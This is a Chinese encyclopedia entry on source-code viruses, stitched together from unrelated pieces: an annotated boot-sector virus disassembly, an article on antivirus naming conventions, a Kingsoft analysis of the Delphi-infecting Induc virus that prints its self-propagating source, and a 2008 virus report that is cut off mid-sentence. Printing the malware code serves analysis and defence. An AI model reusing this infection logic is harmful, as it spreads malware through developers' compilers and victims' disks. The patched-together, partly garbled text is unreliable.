词条 | 源码型病毒 |
释义 | 源码型病毒攻击高级语言编写的程序,病毒在高级语言编写的程序编译之前插入到源程序中,经编译成功后成为合法程序的一部分。 病毒介绍: 这是一个典型的引导型病毒,具体名称已忘记。从使用的技术来看有点像 6.4 病毒(哪位高手知道,请告知) 病毒分析: ;================================================== ;0000:7C0B处为磁盘标志 ,80H 表示硬盘 ;================================================== 0000:7C00 EB1C JMP 7C1E 0000:7C02 00 00 00 00 00 00-00 00 00 80 00 00 00 00 .............. 0000:7C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 .............. 0000:7C1E FA CLI 0000:7C1F 33C0 XOR AX,AX 0000:7C21 8ED8 MOV DS,AX 0000:7C23 BC007C MOV SS,AX 0000:7C25 8BF4 MOV SI,SP 0000:7C28 FB STI 0000:7C2A C4064C00 LES AX,[004C] 0000:7C2F A3077C MOV [7C07],AX 0000:7C32 8C06097C MOV [7C09],ES 0000:7C36 A11304 MOV AX,[0413] 0000:7C39 48 DEC AX 0000:7C3A 48 DEC AX 0000:7C3B A31304 MOV [0413],AX 0000:7C3E B106 MOV CL,06 0000:7C40 D3E0 SHL AX,CL 0000:7C42 83C0 MOV ES,AX 0000:7C44 B90002 MOV CX,0200 0000:7C47 33FF XOR DI,DI 0000:7C49 FC CLD 0000:7C4A F3 REPZ 0000:7C4B A4 MOVSB 0000:7C4C B88800 MOV AX,0088 0000:7C4F 06 PUSH ES 0000:7C50 50 PUSH AX 0000:7C51 CB RETF ;=============================================== ;以下是病毒的 INT 13 中断处理例程 ;=============================================== 0000:7C52 1E PUSH DS 0000:7C53 50 PUSH AX 0000:7C54 F6C2F0 TEST DL,F0 0000:7C57 7528 JNZ 7C81 0000:7C59 D0EC SHR AH,1 0000:7C5B FECC DEC AH 0000:7C5D 7522 JNZ 7C81 0000:7C5F 33C0 XOR AX,AX 0000:7C61 8ED8 MOV DS,AX 0000:7C63 A16C04 MOV AX,[046C] 0000:7C66 8AC4 MOV AL,AH 0000:7C68 2E CS: 0000:7C69 2A060300 SUB AL,[0003] 0000:7C6D 3C02 CMP AL,02 0000:7C6F 7210 JB 7C81 0000:7C71 2E CS: 0000:7C72 88260300 MOV [0003],AH 0000:7C76 3D0200 CMP AX,0002 0000:7C79 7303 JNB 7C7E 0000:7C7B E8CC00 CALL 7D4A 0000:7C7E E8E800 CALL 7D69 0000:7C81 58 POP AX 0000:7C82 1F POP DS 0000:7C83 2E CS: 0000:7C84 FF2E0700 JMP FAR [0007] ;=============================================== ;以下在内存高端执行 ;=============================================== 0000:7C88 33C0 XOR AX,AX 0000:7C8A 8EC0 MOV ES,AX 0000:7C8C CD13 INT 13 0000:7C8E 0E PUSH CS 0000:7C8F 1F POP DS 0000:7C90 803E0B0000 CMP BYTE PTR [000B],00 0000:7C95 7424 JZ 7CBB ;=============================================== ;以下是对硬盘的处理 ;=============================================== 0000:7C97 BEAE01 MOV SI,7CAE 0000:7C9A 83C610 ADD SI,+10 0000:7C9D 803C80 CMP BYTE PTR[SI],80 0000:7CA0 75F8 JNZ 7C9A 0000:7CA2 8B14 MOV DX,[SI] 0000:7CA4 8B4C02 MOV CX,[SI+02] 0000:7CA7 BB007C MOV BX,7C00 0000:7CAA B80102 MOV AX,0201 0000:7CAD CD13 INT 13 0000:7CAF 72D7 JB 7C88 0000:7CB1 2E CS: 0000:7CB2 C7064801C007 MOV WORD PTR [0148],07C0 0000:7CB8 EB7B JMP 02 ;=============================================== ;以下是对软盘的处理 ;=============================================== 0000:7CBA 90 NOP 0000:7CBB B280 MOV DL,80 0000:7CBD E8A900 CALL 7D69 0000:7CC0 BF1800 MOV DI,0018 0000:7CC3 8B45F9 MOV AX,[DI-07] 0000:7CC6 B90400 MOV CX,0004 0000:7CC9 D3E8 SHR AX,CL 0000:7CCB 8BE8 MOV BP,AX 0000:7CCD 8B45FE MOV AX,[DI-02] 0000:7CD0 D1E0 SHL AX,1 0000:7CD2 40 INC AX 0000:7CD3 03E8 ADD BP,AX 0000:7CD5 F635 DIV BYTE PTR [DI] 0000:7CD7 8ACC MOV CL,AH 0000:7CD9 FEC1 INC CL 0000:7CDB 33D2 XOR DX,DX 0000:7CDD 8AF0 MOV DH,AL 0000:7CDF BB0005 MOV BX,0500 0000:7CE2 B80102 MOV AX,0201 0000:7CE5 CD13 INT 13 0000:7CE7 72F9 JB 7CE2 0000:7CE9 8BC5 MOV AX,BP 0000:7CEB BE3400 MOV SI,0034 0000:7CEE B707 MOV BH,07 0000:7CF0 F635 DIV BYTE PTR [DI] 0000:7CF2 33C9 XOR CX,CX 0000:7CF4 86E1 XCHG AH,CL 0000:7CF6 2BF1 SUB SI,CX 0000:7CF8 F67502 DIV BYTE PTR [DI+02] 0000:7CFB 8BD0 MOV DX,AX 0000:7CFD 86D5 XCHG DL,CH 0000:7CFF 8A05 MOV AL,[DI] 0000:7D01 2AC1 SUB AL,CL 0000:7D03 FEC1 INC CL 0000:7D05 B402 MOV AH,02 0000:7D07 50 PUSH AX 0000:7D08 CD13 INT 13 0000:7D0A 58 POP AX 0000:7D0B 72F8 JB 7D05 0000:7D0D B101 MOV CL,01 0000:7D0F 02F8 ADD BH,AL 0000:7D11 02F8 ADD BH,AL 0000:7D13 8B05 MOV AX,[DI] 0000:7D15 FEC6 INC DH 0000:7D17 EA7502 CMP DH,[DI+02] 0000:7D1A 7204 JB 7D20 0000:7D1C B600 MOV DH,00 0000:7D1E FEC5 INC CH 0000:7D20 2BF0 SUB SI,AX 0000:7D22 73E1 JNB 7D05 0000:7D24 03C6 ADD AX,SI 0000:7D26 B402 MOV AH,02 0000:7D28 CD13 INT 13 0000:7D2A 8A6DFD MOV CH,[DI-03] 0000:7D2D 8BDD MOV BX,BP ;=============================================== ;会根据硬盘软盘处理而改变 ;=============================================== 0000:7D2F C70648017000 MOV WORD PTR [0148],0070 ;=============================================== ;以下为跳转引导正常分区 ;=============================================== 0000:7D35 33C0 XOR AX,AX 0000:7D37 A20B00 MOV [000B],AL 0000:7D3A 8ED8 MOV DS,AX 0000:7D3C B052 MOV AL,52 0000:7D3E A34C00 MOV [004C],AX 0000:7D41 8C0E4E00 MOV [004E],CS 0000:7D45 EA00007000 JMP 0070:0000 ;=============================================== 计算机病毒防御手册!计算机病毒特点分析如何根据名称识别计算机病毒 很多时候大家已经用杀毒软件查出了自己的机子中了例如Backdoor.RmtBomb.12 、Trojan.Win32.SendIP.15 等等这些一串英文还带数字的病毒名,这时有些人就懵了,那么长一串的名字,我怎么知道是什么病毒啊? 其实只要我们掌握一些病毒的命名规则,我们就能通过杀毒软件的报告中出现的病毒名来判断该病毒的一些公有的特性了。 世界上那么多的病毒,反病毒公司为了方便管理,他们会按照病毒的特性,将病毒进行分类命名。虽然每个反病毒公司的命名规则都不太一样,但大体都是采用一个统一的命名方法来命名的。一般格式为:&lt;病毒前缀&gt;.&lt;病毒名&gt;.&lt;病毒后缀&gt; 。 病毒前缀是指一个病毒的种类,他是用来区别病毒的种族分类的。不同的种类的病毒,其前缀也是不同的。比如我们常见的木马病毒的前缀 Trojan ,蠕虫病毒的前缀是 Worm 等等还有其他的。 病毒名是指一个病毒的家族特征,是用来区别和标识病毒家族的,如以前著名的CIH病毒的家族名都是统一的“ CIH ”,还有近期闹得正欢的振荡波蠕虫病毒的家族名是“ Sasser ”。 病毒后缀是指一个病毒的变种特征,是用来区别具体某个家族病毒的某个变种的。一般都采用英文中的26个字母来表示,如 Worm.Sasser.b 就是指 振荡波蠕虫病毒的变种B,因此一般称为 “振荡波B变种”或者“振荡波变种B”。如果该病毒变种非常多(也表明该病毒生命力顽强 ^_^),可以采用数字与字母混合表示变种标识。 综上所述,一个病毒的前缀对我们快速的判断该病毒属于哪种类型的病毒是有非常大的帮助的。通过判断病毒的类型,就可以对这个病毒有个大概的评估(当然这需要积累一些常见病毒类型的相关知识,这不在本文讨论范围)。而通过病毒名我们可以利用查找资料等方式进一步了解该病毒的详细特征。病毒后缀能让我们知道现在在你机子里呆着的病毒是哪个变种。 下面附带一些常见的病毒前缀的解释(针对我们用得最多的Windows操作系统): 1、系统病毒 系统病毒的前缀为:Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件,并通过这些文件进行传播。如CIH病毒。 2、蠕虫病毒 蠕虫病毒的前缀是:Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。比如冲击波(阻塞网络),小邮差(发带毒邮件) 等。 3、木马病毒、黑客病毒 木马病毒其前缀是:Trojan,黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而黑客病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.QQ3344 ,还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能(这些字母一般都为“密码”的英文“password”的缩写)一些黑客程序如:网络枭雄(Hack.Nether.Client)等。 4、脚本病毒 脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(Script.Redlof)——可不是我们的老大代码兄哦 ^_^。脚本病毒还会有如下前缀:VBS、JS(表明是何种脚本编写的),如欢乐时光(VBS.Happytime)、十四日(Js.Fortnight.c.s)等。 5、宏病毒 其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excel97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀,格式是:Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀,格式是:Macro.Excel,依此类推。该类病毒的公有特性是能感染OFFICE系列文档,然后通过OFFICE通用模板进行传播,如:著名的美丽莎(Macro.Melissa)。 6、后门病毒 后门病毒的前缀是:Backdoor。该类病毒的公有特性是通过网络传播,给系统开后门,给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门Backdoor.IRCBot 。 7、病毒种植程序病毒 这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下,由释放出来的新病毒产生破坏。如:冰河播种者(Dropper.BingHe2.2C)、MSN射手(Dropper.Worm.Smibag)等。 8.破坏性程序病毒 破坏性程序病毒的前缀是:Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。如:格式化C盘(Harm.formatC.f)、杀手命令(Harm.Command.Killer)等。 9.玩笑病毒 玩笑病毒的前缀是:Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒会做出各种破坏操作来吓唬用户,其实病毒并没有对用户电脑进行任何破坏。如:女鬼(Joke.Girlghost)病毒。 10.捆绑机病毒 捆绑机病毒的前缀是:Binder。这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来,表面上看是一个正常的文件,当用户运行这些捆绑病毒时,会表面上运行这些应用程序,然后隐藏运行捆绑在一起的病毒,从而给用户造成危害。如:捆绑QQ(Binder.QQPass.QQBin)、系统杀手(Binder.killsys)等。 以上为比较常见的病毒前缀,有时候我们还会看到一些其他的,但比较少见,这里简单提一下: DoS:会针对某台主机或者服务器进行DoS攻击; Exploit:会自动通过溢出对方或者自己的系统漏洞来传播自身,或者他本身就是一个用于Hacking的溢出工具; HackTool:黑客工具,也许本身并不破坏你的机子,但是会被别人加以利用来用你做替身去破坏别人。 你可以在查出某个病毒以后通过以上所说的方法来初步判断所中病毒的基本情况,达到知己知彼的效果。在杀毒无法自动查杀,打算采用手工方式的时候这些信息会给你很大的帮助。 金山云安全中心近日在国内率先截获了一个针对计算机程序员、尤其是Delphi使用者的病毒“Delphi梦魇”(Win32.Induc.b.820224),简单描述该毒行为,就是:它专门感染Delphi程序员的电脑,一旦成功,程序员今后写出的任何程序,都将带有该毒! 以下是金山毒霸病毒分析组对Virus.Win32.Induc.a 感染型的分析: 一、文件信息 文件大小:163840字节 加壳类型:ASPack 2.12 编写语言:Borland Delphi6.0 病毒类型:感染型 二、病毒描述 该样本为Delphi感染型病毒,通过感染Delphi库文件中的SysConst.dcu文件,使用户在使用被感染的库文件编程后,生成的文件均被感染。 三、病毒行为 1.病毒在第N次处理初始化表时(Call StartExe)进行操作,即完成在程序加载正常Delphi文件前执行病毒代码。(数字N根据被感染用户的Delphi版本不同有所不同)。 2.循环检测注册表键值HKLMsoftwareBorlandDelphiX.0 判断当前机器是否安装Delphi。检测版本(4.0 5.0 6.0 7.0)。如本机未安装则直接跳出病毒代码进行正常的初始化工作,不进行感染。 3.如安装了Delphi则通过访问注册表得到用户的Delphi安装路径。 4.根据用户安装路径将源文件夹中的SysConst.pas和库文件夹中的SysConst.dcu备份; 即%%SourceRtlSysSysConst.pas 与%%LibSysConst.dcu。 5.将Delphi源码代码写入源文件SysConst.pas中 6.调用%%Bindcc32.exe 将感染后的源码文件SysConst.pas 生成本地库文件放入Lib替换SysConst.dcu文件。 7.将正常SysConst.pas备份恢复,删除源码中感染的文件。 8.更改库文件中被替换后的SysConst.dcu文件时间,使其与其他文件一致。 四、病毒危害程度 该病毒实际上并不具有危害性,只是其更改了库文件后使编译生成的所有程序均带有不正常代码,而其代码行为即为以上描述。 因为其将Delphi库文件修改使其使用Delphi语言编译后的文件均被感染,所以被感染文件大小不一,加壳情况也各异,本分析样本只是从中随机挑选,样本大小与加壳类型都不具有代表性。 五、解决方案 这个病毒具有二次感染能力,也就是说原来你编译出来的所有Delphi程序都可以再次感染你机器上的Delphi库文件,要彻底清除该病毒需做到以下几点: 1、不要运行任何Delphi编写的程序。 2、使用杀软扫描所有的Delphi编写的可执行文件并清除病毒。(或直接删除所有哦的Delphi编写的可执行文件,包括从网上下载的) 3、将文件 %DelphiInstallPath%LibSysConst.dcu 删掉,然后执行步骤4 或 步骤5和6。 4、将文件 %DelphiInstallPath%LibSysConst.bak 改名为 SysConst.dcu,结束。 5、调用 DCC32.exe 编译出新的 SysConst.dcu ,编译命令如下: %DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas" 6、将新编译的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目录下)文件复制到 %DelphiInstallPath%Lib 目录,结束。 六、附录(Delphi源码) uses windows; var sc:array[1..24] of string=( function x(s:string):string; var i:integer; begin for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39; result:=s; end; procedure re(s,d,e:string); var f1,f2 : textfile; h : cardinal; f : STARTUPINFO; p : PROCESS_INFORMATION; b : boolean; t1,t2,t3 : FILETIME; begin CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0); if h<>DWORD(-1) then begin CloseHandle(h); exit; end; assignfile(f1,s); reset(f1); if ioresult<>0 then exit; assignfile(f2, d + $pas$); rewrite(f2); if ioresult<>0 then begin closefile(f1); exit; end; while not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s) <>0 then break; end; for h:= 1 to 1 do writeln(f2,sc[h]); for h:= 1 to 23 do writeln(f2, $$$$+sc[h],$$$,$ ); writeln(f2, $$$$+sc[24]+$$$);$ ); for h:= 2 to 24 do writeln(f2, x(sc[h])); closefile(f1); closefile(f2); MoveFile(pchar(d+$dcu$),pchar(d+$bak$)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW; f.wShowWindow:=SW_HIDE; b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p); if b then WaitForSingleObject(p.hProcess,INFINITE); MoveFile(pchar(d+$bak$), pchar(d+$dcu$)); DeleteFile(pchar(d+$pas$)); h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h); h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0); if h=DWORD(-1) then exit; SetFileTime(h, @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k : HKEY; c : array [1..255] of char; i : cardinal; r : string; v : char; begin for v:=$ to $ do if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($SoftwareBorlandDelphi$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin i:=255; if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$; i:= 1; while c[i] <> #0 do begin r:=r+c[i]; inc(i); end; re( r + $sourcertlsysSysConst$ + $.pas$, r + $libsysconst.$, $"$+r+$bindcc32.exe"$); end; RegCloseKey(k); end; end; begin st; end. 《2008年中国电脑病毒疫情及互联网安全报告》中的数据由金山毒霸全球反病毒监测中心、金山毒霸云安全中心、金山毒霸全球病毒应急处理中心、金山毒霸客户服务中心联合监测得出。本报告的所有结论和所持观点均由金山独家发布,与其它合作公司、部门无关。同时您及金山均认可病毒、木马、恶意程序等的产生、传播存在不可控制性及不可预见性,因此金山仅保证在其可掌握的数据、技术水平许可范围内及其已掌控病毒范围内出具本报告,金山不就任何其尚未掌控的病毒、木马、恶意程序等作任何保证,但金山将致力于不断提高技术水平及掌控病毒范围。您已经明确知悉所述情况,并承诺不因信任或使用本报告而可能出现的任何结果向金山主张权利。 2008年,中国新增计算机病毒、木马数量呈爆炸式增长,总数量已突破千万。病毒制造的模块化、专业化以及病毒“运营”模式的互联网化成为2008年中国计算机病毒发展的三大显著特征。同时,病毒制造者的“逐利性”依旧没有改变,网页挂马、漏洞攻击成为黑客获利的主要渠道。 一、2008年中国计算机病毒、木马整体情况分析 2008年,新增计算机病毒、木马数量呈几何级增长。据金山毒霸“云安全”中心监测数据显示,2008年,金山毒霸共截获新增病毒、木马13899717个,与2007年相比增长48倍。 在新增的病毒、木马中,新增木马数为7801911个,占全年新增病毒、木马总数的56.13%;黑客后门类占全年新增病毒、木马总数的21.97%;而网页脚本所占比例从去年的0.8%跃升至5.96%,成为增长速度最快的一类病毒。金山毒霸“云安全”中心统计数据显示,90%的病毒依附网页感染用户。 2008年,据金山毒霸“云安全”中心统计数据,全国共有69738785台计算机感染病毒,与07年相比增长了40%, |
随便看 |
百科全书收录4421916条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。